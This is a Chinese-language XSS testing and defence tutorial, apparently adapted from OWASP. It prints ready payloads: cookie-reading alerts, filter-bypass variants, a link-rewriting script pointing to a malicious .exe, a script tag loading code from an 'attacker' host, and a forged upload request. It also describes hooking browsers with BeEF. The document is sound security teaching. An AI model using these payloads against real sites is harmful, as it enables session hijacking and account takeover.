什麼是XSS
綜述
Cross-Site Scripting(XSS)是一類注入問題,惡意腳本被注入到健康的、可信任的網站。當一個攻擊者通過一個網站應用程式,以瀏覽器端腳本的形式,給另一端的用戶發送惡意代碼時,XSS攻擊就發生了。允許這種攻擊成功的缺陷廣泛存在於各個大小網站,只要這個網站某個頁面將用戶的輸入包含在它生成的動態輸出頁面中並且未經驗證或編碼轉義,這個缺陷就存在。
攻擊者使用XSS發送惡意腳本給一個不持懷疑態度的用戶,用戶端的瀏覽器沒法知道腳本可不可信,從而執行該js腳本。因為瀏覽器認為該腳本來自於一個可信賴的網站,導致惡意腳本可以訪問任何cookies信息、會話令牌、或者其他由瀏覽器保存的但由那個網站使用的敏感信息,甚至可以修改當前網頁內容。
存儲型XSS:存儲在資料庫,是永久的,除非資料庫被重置或者惡意語句被人工刪除。攻擊者引導用戶到一個特定的頁面。
反射型XSS:惡意腳本沒有存儲在遠端的網站應用中,需要社會工程學配合,比如通過郵件或聊天軟體發送連結。主要用來竊取cookie。
跨站腳本發生在什麼時候?
- 數據通過一個不可信的源,大多數時是一個頁面請求,進入網站應用。
- 數據未經驗證是否含有惡意內容,就包含在動態內容中發送給網站用戶。
發送到瀏覽器的惡意內容通常以一段js腳本的形式存在,但也可能是html、flash或者任何其他可能被瀏覽器執行的代碼。基於xss的攻擊是多樣化沒有限制的,常見的有傳輸私密數據,像cookies或其他會話信息,對攻擊者而言,重定向或引誘受害者到由攻擊者所控制的頁面,或者偽裝成可信賴網站,直接在用戶機器上執行惡意操作。
分類
XSS攻擊通常被分為兩類:存儲型和反射型。還有第三類,不那麼知名的,基於DOM的xss。
- 存儲型
注入的腳本被永久的存儲在了目標伺服器中,比如資料庫、論壇帖子、訪問日誌、留言評論等。受害者向伺服器請求獲取存儲的信息時, 就獲得了這些惡意腳本。存儲型XSS也被稱為持久型或I-型XSS。
- 反射型
注入腳本從網站伺服器被反彈回來,比如錯誤消息、搜索結果、或者任何其他響應(這些響應完全或部分包含了用戶在瀏覽器輸入的內容)。
反射型攻擊通過其他途徑傳遞到受害者,比如郵件、或其他網站。當用戶被引誘點擊惡意連結,提交一個特別構造的表單、或瀏覽一個惡意 站點,注入腳本傳送到了脆弱站點並反射給用戶的瀏覽器,瀏覽器認為該連結來自一個可信的伺服器就執行了它。反射型XSS也稱為非持久型或II-型XSS。
- DOM型
DOM型XSS又稱0-型xss。攻擊者提交的惡意數據並未顯式的包含在web伺服器的響應頁面中,但會被頁面中的js腳本以變量的形式來訪問到,導致瀏覽器在渲染頁面執行js腳本的過程中,通過DOM操作執行了變量所代表的惡意腳本。這種也被歸類為『client-side xss』。
前兩類xss攻擊中,伺服器的響應頁面中顯式的包含了惡意內容,被歸類為『server-side xss』。
攻擊後果
無論是存儲型、反射型還是DOM型,攻擊後果都是相同的。不同點在於payload到達伺服器的方式。不要愚蠢的認為一個只讀的站點對反射型xss是免疫的。xss會引起一系列的問題,嚴重程度從噪音幹擾到完全的帳戶危害。
大多數嚴重的xss攻擊涉及用戶回話cookie洩露,允許攻擊者劫 用戶的會話從而接管帳戶。其他破壞性攻擊包括終端用戶文件洩露、特洛伊木馬安裝、重定向用戶到其他頁面或站點、或修改頁面內容。xss弱點引起的新聞稿或新聞條目被修改會影響公司股價或削弱消費者信心。一個醫藥站點的xss缺陷允許攻擊者修改劑量信息導致用藥過量。
如何判斷網站是否脆弱
網站應用中的xss缺陷是難以識別和移除的。最好的檢測和發現缺陷的方法就是進行代碼的安全審計,搜索所有可能的接收用戶數據輸入的地方,並且輸入的數據會顯示在網站伺服器響應的頁面中。
請注意,各種不同的HTML標籤可以用來傳輸惡意腳本。Nessus、Nikto等工具可以幫助我們掃面網站的xss缺陷,但是不夠周祥和深刻。如果網站某一部分是可以入侵的,那麼其他問題也存在的可能性就很高。
xss防禦
- 防禦手冊 : https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
- 自動檢測dom缺陷的chrome插件: http://code.google.com/p/domsnitch/
反射型xss測試
概要
反射型注入攻擊發生在用戶打開一個惡意構造的連結或第三方網頁,攻擊字符串包含在構造的url中或者是http參數中,web應用沒有 適當的處理並返回給受害者。
反射型的攻擊負載通過單一的請求和響應被傳遞和執行。如果一個網站存在xss缺陷,它會將請求中附帶的參數不經驗證的回傳給客戶端。
這種攻擊最常見的做法分兩步:設計,攻擊者創建和測試構造的惡意連結;社會工程學,確信受害者會通過瀏覽器加載這個url並最終執行。
通常,攻擊代碼使用js編寫,但其他語言比如action script、vb script等也會用到。攻擊者可以安裝鍵盤記錄器、竊取cookies、粘貼板、 改變頁面內容(比如下載連結)。
預防xss漏洞的主要難點之一是合適的字符編碼。一些情況下,web伺服器不能過濾某些字符編碼,比如可以過濾『<script>』,但是無法過濾%3cscript%3e。
如何測試
黑盒測試
黑盒測試至少包含3個階段:
- 1、探測輸入向量。每一個網頁,測試者必須判定網站應用定義了哪些變量、如何輸入他們。這些變量也包含隱藏的或非顯式的輸入,比如http參數、post數據、隱藏的表單欄位、預定義的單選鈕或複選框的值。瀏覽器內置的HTML編輯器或web代理可以用來審查這些隱藏的變量。
- 2、分析每個輸入向量去檢測潛在的漏洞。為了檢測潛在xss漏洞,測試者應為每個輸入向量構造特別的填充數據。測試數據可以通過模糊測試工具生成,自動生成預定義的攻擊字符串列表,或者人工。逃避xss過濾的攻擊列表。
- 3、對每個嘗試過的輸入,測試者根據反饋頁面判定是否它代表一個漏洞並對網站安全構成實際威脅。這個需要檢查結果頁面並搜尋輸入的數據。一旦找到,測試者就可識別出那些特別的未經編碼、替換、過濾的數據。理想情況下,所有的HTML關鍵字都需要經過html實體編碼。
做關鍵的幾個需要編碼的字符是:{< > & ' "}。
XSS過濾繞過
請參考 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。
當網站應用清理輸入、網站應用防火牆或瀏覽器內置的機制阻止惡意輸入時,反射型xss就會被阻攔。但是測試者必須假定瀏覽器不會阻攔這類攻擊,比如版本陳舊、內置安全功能被禁用等,並測試所有可能的漏洞。類似的,網站防火牆不能保證識別新奇的、未知的攻擊。攻擊者能構造防火牆無法識別的攻擊字符串。
因此,防禦xss攻擊主要依賴網站應用清理不可信任的用戶輸入。有幾種清理辦法,比如返回錯誤、過濾或轉義關鍵字。同時這些預防手段也造就了另外一個弱點:黑名單不可能囊括所有可能的攻擊字符串、白名單可能過渡授權,這時清理就會失敗,導致某類輸入被不正確的信任並未被清理。
攻擊測試的例子
- http://example.com/index.php?user=<script>alert(123)</script>
- http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
- 標籤屬性值
<input type="text" name="state" value="INPUT_FROM_USER">
" onfocus="alert(document.cookie)
- 不同的語法或編碼
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e
- 非遞歸性過濾
<scr<script>ipt>alert(document.cookie)</script>
- 繞過正則過濾
模式串 $re = "/<script[^>]+src/i";
添加額外的屬性,繞過 http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
- HTTP parameter pollution
https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
http參數汙染,查詢字符串或表單提交的參數中某個同名參數出現了多次,apache等web伺服器解析協議參數時的方式各異,
網站應用程式的各個組件所使用的參數值不一致。
存儲型XSS測試
概述
存儲型XSS是最危險的跨站腳本攻擊。網站應用程式允許用戶存儲數據,這類網站就潛在的暴露在這類攻擊面前。
當網站應用從用戶那裡搜集輸入的數據,然後存儲起來以備後用,但這些輸入沒有經過正確的過濾,結果惡意數據被做為網站頁面的一部分得以呈現,並運行在用戶瀏覽器中且擁有網站應用程式所屬用戶的權限。
這種漏洞可以被用來實施基於瀏覽器的攻擊:
- 劫持用戶瀏覽器
- 捕獲用戶所瀏覽的網站敏感信息
- 對內網主機進行埠掃描
- 基於瀏覽器利用的定向投遞
存儲型xss不需要利用惡意連結,用戶訪問某個加載了之前存儲的xss代碼的頁面時就會觸發。攻擊場景一般有下面幾個階段:
- 攻擊者存儲惡意代碼到由漏洞的頁面
- 用戶通過應用程式的身份認證
- 用戶訪問漏洞頁面
- 惡意代碼被用戶的瀏覽器執行
這類攻擊可以結合瀏覽器利用框架比如beef、xss prox、backframe。這些框架允許複雜的腳本利用開發。
當訪問漏洞頁面的用戶有比較高的權限時,這類攻擊特別危險。比如當管理員訪問漏洞頁面時,這類攻擊就自動被瀏覽器執行。
這就可能暴露敏感信息比如會話令牌。
如何測試
黑盒測試
識別存儲型漏洞的過程和之前測試反射型漏洞類似。
輸入表單
第一步是找出哪些地方的用戶輸入會被存儲到後端並會被渲染顯示在前端。典型的存儲用戶輸入的地方有:
- 用戶|配置,網站應用允許用戶修改個人配置詳細信息,比如姓名、暱稱、頭像、地址等;
- 購物籃,
- 文件管理器,應用程式允許文件上傳
- 應用程式偏好設置
- 論壇|消息面板,允許用戶之間互相發送消息
- 博客,允許用戶留言評論
- 日誌,如果網站應用將某些用戶的輸入存進日誌
分析HTML代碼
用戶輸入被網站應用存儲後,一般會在顯示時當做html標籤的屬性值。這一步中,最根本的是去理解輸入部分被渲染顯示時, 在頁面上下文中是怎麼被安放的。所有可能被管理員看到的輸入部分都需要被測試。
比如,後臺用戶管理中某個用戶的詳細信息,有郵件:
<input type="text" name="email" size="40" value="aaa@aa.com" />
這時,可以在<input>標籤後面注入惡意代碼:
<input type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />
試驗是否可以注入
這就涉及輸入驗證、後端的過濾規則。比如注入:
aaa@aa.com"><script>alert(document.cookie)</script>
aa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
為了保證注入的數據被提交,通常需要暫時禁用瀏覽器的js代碼執行、或在本地代理的http編輯器中修改請求的原始數據。
但是提交後,可能被網站應用程式過濾,比如script被替換成了空格或者空串,這就是一個潛在的過濾信號,當然有很多規避過濾的技術。
利用存儲的注入代碼
存儲的惡意代碼可以被高級js利用框架利用,比如beef、xss-proxy、backframe。
一個典型的beef利用場景涉及:
- 注入一段js鉤子代碼,可以與攻擊者的瀏覽器利用框架通信
- 等待網站用戶訪問漏洞頁面
- 通過beef控制臺控制網站用戶的瀏覽器
beef可以訪問用戶的cookies、屏幕截圖、剪貼板、以及發起更複雜的xss攻擊。如果這個漏洞頁面會被擁有不同權限的用戶訪問, 那麼這個攻擊是相當有效的。
文件上傳
如果網站應用允許文件上傳,需要檢測下是否可以上傳html內容。如果html或txt文件被允許,那麼xss負載就可以被注入。
滲透測試人員應該驗證是否這個上傳點允許設置任意的MIME類型。這個設計缺陷允許瀏覽器的MIME誤處理攻擊。比如,看起來無害的JPG和GIF文件包含xss負載,可能在被瀏覽器載入的時候得到執行。這個是可能的,當本應設置MIME為image/gif時卻設置為text/html。
這種情況下,文件被客戶端瀏覽器創建為HTML。
偽造POST請求:
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html
<script>alert(document.cookie)</script>
DOM型XSS測試
概述
DOM型跨站腳本事實上是瀏覽器端的動態內容所引起的xss bug。典型的,比如js,獲取用戶輸入並用它做了一些不安全的事情導致注入代碼被執行。本文只是討論 js bug 所引起的xss漏洞。
DOM,全稱為Document Object Model,是一種結構化的格式,被用來表達瀏覽器中的文檔。DOM允許動態腳本,比如js,來引用文檔中的組件,比如表單欄位、或會話令牌。DOM也被瀏覽器來實現安全策略,比如同源策略限制跨域DOM操作。當動態內容,比如js函數被一個構造的請求修改,dom元素可以被攻擊者控制,從而形成xss漏洞。
很少有這方面的論文發表,因此它的含義和正規測試方法幾乎沒有標準的定義。
如何測試
不是所有的xss bug都需要攻擊者去控制從伺服器返回的動態頁面,但是泛濫的愚蠢的js編碼會導致同樣的結果。
與其他類型的xss漏洞(伺服器未清理用戶提交的參數,回傳給用戶瀏覽器端並得到執行)相比,dom-xss 可以控制代碼的執行流程。
大多數情況下,dom-xss可以在服務端不知情的情況下執行。比如:
<script>
document.write("Site is at: " + document.location.href + ".");
</script>
攻擊者追加#<script>alert('xss')</script>到頁面的url後面,當執行時會彈窗。這個例子中,追加的代碼不會被發送到服務端,因為#後面的字符串根本沒有被瀏覽器當做查詢字符串的一部分,而是作為一個錨標記,因而無需和伺服器取得聯繫。
dom-xss的攻擊後果和其他更知名的xss攻擊一樣廣泛,cookies獲取、更進一步的惡意腳本注入,所以應該被劃分到同樣的嚴重等級。
黑盒測試
dom-xss的黑盒測試是不必要的,因為前端的源碼總是可見的,瀏覽器需要從服務端那獲取並執行。
灰盒測試
js應用程式和其他的應用程式有顯著的區別,因為他們是由服務端動態產生的,為了理解什麼代碼正在被執行,測試者需要爬行站點來判定正在被執行的腳本和哪些地方是接收用戶輸入的。許多站點依賴大量的庫函數,伸展開後有成百上千行代碼並且不是內部開發的。這種情況下,自頂向下的測試常常是唯一可行的選擇,因為許多底層的函數從沒用到過,從中分析哪些是弱點耗費太多時間。對於自頂向下測試,是否能識別哪些地方接收用戶輸入同樣至關重要。
用戶輸入來源有兩種形式:
- 服務端動態寫入,不允許直接的xss
- 客戶端腳本對象中獲取的變量
下面是服務端插入數據到js腳本中的兩個例子:
var data = "<escaped data from the server>";
var result = someFunction("<escaped data from the server>");
下面是從客戶端js對象中獲取輸入的兩個例子:
var data = window.location;
var result = someFunction(window.referer);
對於js代碼來說,兩種獲取輸入的方式基本沒有差異,重要的是當從服務端獲取輸入時,服務端能對數據應用任何的排列組合,
然而js對象中獲取的輸入卻很好理解。所以,如果上例中的js函數是弱點的話,前例中的漏洞利用依賴服務端的過濾,後例中的
利用依賴於瀏覽器對window.referer對象的編碼。 參考 https://code.google.com/p/domxsswiki/wiki/LocationSources
另外,js腳本也常常會在script標籤外部執行,過去許多的攻擊向量都導致了xss攻擊已經證實了這一點。所以,在爬行站點時,留意諸如『事件處理器』、『帶有expression屬性的css語句塊』等這些地方的代碼是很重要的。
自動化測試在識別和驗證dom-xss漏洞時是很弱的,因為他僅僅是發送特定的負載並嘗試審查伺服器響應的頁面。這個可能在一些簡單的例子中工作得比較好,比如那些參數被反射回給用戶的情況:
<script>
var pos=document.URL.indexOf("message=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
但是下面不自然的例子無法被檢測到:
<script>
var navAgt = navigator.userAgent;
if (navAgt.indexOf("MSIE")!=-1) {
document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
}
else
{
document.write("You are using an unknown browser.");
}
</script>
基於這樣的原因,自動化測試通常無法檢測dom-xss漏洞,除非測試工具能對客戶端腳本執行額外的分析。
人工測試應該進行,檢查某些代碼區域,那些區域中的參數對攻擊者而言是有用的。比如,代碼被動態寫到頁面、dom樹被修改、甚至腳本被直接執行。參考 http://www.webappsec.org/projects/articles/071105.shtml
XSS攻擊試探
沒有任何過濾
<script>alert('xss')</script>
過濾關鍵字script,但大小寫不敏感
<ScripT>alert('xss')</ScripT>
過濾了模式串<*s*c*r*i*p*t,而且大小寫敏感
<img src='xx' onerror=alert('xss')>
進行了html編碼
沒得玩!!!
常見XSS攻擊代碼
錨標記一句話執行
<script>eval(location.hash.substring(1))</script></br>
續行、冒號進行html編碼
<a href="javascript:alert(1)">click</a> </br>
img標籤帶上事件
<IMG 「」><SCRIPT>alert(\'bask-slash no change to run\')</SCRIPT>」></br>
<IMG 「」><SCRIPT>alert('img1')</SCRIPT>」></br>
<IMG 「」"><SCRIPT>alert('img2')</SCRIPT>」></br>
<IMG 「」><SCRIPT>alert('img3')</SCRIPT>></br>
- js的unicode編碼,html十進位、十六進位編碼
<img src="x" onerror="\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded')"></br>
<img src="x" onerror="alert(1)"></br>
<img src="x" onerror="alert('html编码')"></br>
<script>\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded1111')</script>
data中對網頁內容進行base64編碼,比如 <img src=x onerror=alert('base64')>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KCdiYXNlNjQnKT4=">test</a></br>
抵禦XSS
thinkphp框架中有表單提交數據的過濾,默認採用html實體編碼進行轉義,就是所謂的I函數。
瀏覽器解釋器詞法分析遇到轉義的字符,就認為他是不可執行的,然後接著去反轉義,接著當做數據去顯示,沒有當做js代碼去執行。再解釋一次就可以得到執行。
比如:在firebug中用元素審查,隨便加個空格
post表單提交的漢字的傳輸編碼由<meta charset>指定,
>>> print '%r' % u'你'.encode('utf8')
'\xe4\xbd\xa0'
傳輸中為%e4%bd%a0
不過地址欄附加的url參數,漢字默認為gbk編碼,這裡為%c4%e3,比如你在百度搜索框輸入"你被入侵了",然後查看地址欄url參數。
>>> print '%r' % u'你'.encode('gbk')
'\xc4\xe3'
抵禦XSS攻擊,只需做到兩點:
1、所有前端的頁面渲染,儘量使用ajax異步進行,從後臺獲取要顯示的數據。
2、前端提交過來的數據,在後臺入口處統統對HTML中的關鍵字進行html編碼轉義。
做到上面方可基本無憂。